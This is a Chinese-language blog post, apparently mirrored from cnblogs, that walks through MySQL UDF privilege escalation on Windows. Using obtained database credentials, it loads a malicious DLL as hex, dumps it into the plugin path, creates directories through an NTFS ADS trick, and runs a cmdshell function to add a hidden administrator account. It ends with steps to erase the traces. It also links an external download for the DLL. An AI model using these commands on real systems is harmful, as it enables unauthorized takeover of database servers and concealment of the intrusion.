zoukankan      html  css  js  c++  java
  • 提权基础-----mysql-udf提权

    1.总结关于udf提权方法

    通过弱口令,爆破,网站配置文件等方式得到mysql数据库帐号密码,---还要能外连

    (1).将udf.dll代码的16进制数声明给my_udf_a变量

    set @my_udf_a=concat('',dll的16进制);
    

    (2).建表my_udf_data,字段为data,类型为longblob。

    udf.dll
    https://pan.baidu.com/s/1FY8Ej1tMDGdbb5OEcx3BgA

    create table my_udf_data(data LONGBLOB);
    

    (3)将my_udf_data表更新为@my_udf_a中的数据。

    insert into my_udf_data values("");
    
    update my_udf_data set data = @my_udf_a;
    

    (4)查看dll导出路径

    Mysql<5.0,导出路径随意;
    
    5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误;
    
    mysql>5.1,需要导出dll到插件路径,插件路径可以用下面这条命令查看:show variables like '%plugin%';
    

    (5)将dll导出

    .dll的名字可以任意命名

    *某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

    select @@basedir;  
    //查找到mysql的目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';  
    //利用NTFS ADS创建lib目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
    //利用NTFS ADS创建plugin目录
    

    (6)通过cmdshell function进行提权

    select cmdshell('net user x x /add');
    
    select cmdshell('net localgroup administrators x /add');
    

    (7)擦除痕迹:

    drop table my_udf_data;
    drop function cmdshell;
    

    2.udf木马提权

    输入数据库帐号密码

    按说明来

    很详细的说明https://bbs.ichunqiu.com/thread-39696-1-1.html

  • 相关阅读:
    Linux 安装 iptables防火墙
    CentOS最常用命令及快捷键整理
    WebAPI 和 webservice接口
    Linux 文件权限
    Linux查看系统信息的一些命令及查看已安装软件包的命令
    navicat连接虚拟机(centos)中的mysql
    Nmap扫描与Tcpdump抓包分析
    python 识别验证码自动登陆
    iptables开通某些端口
    hive的安装和使用
  • 原文地址:https://www.cnblogs.com/hackxf/p/8975487.html
Copyright © 2011-2022 走看看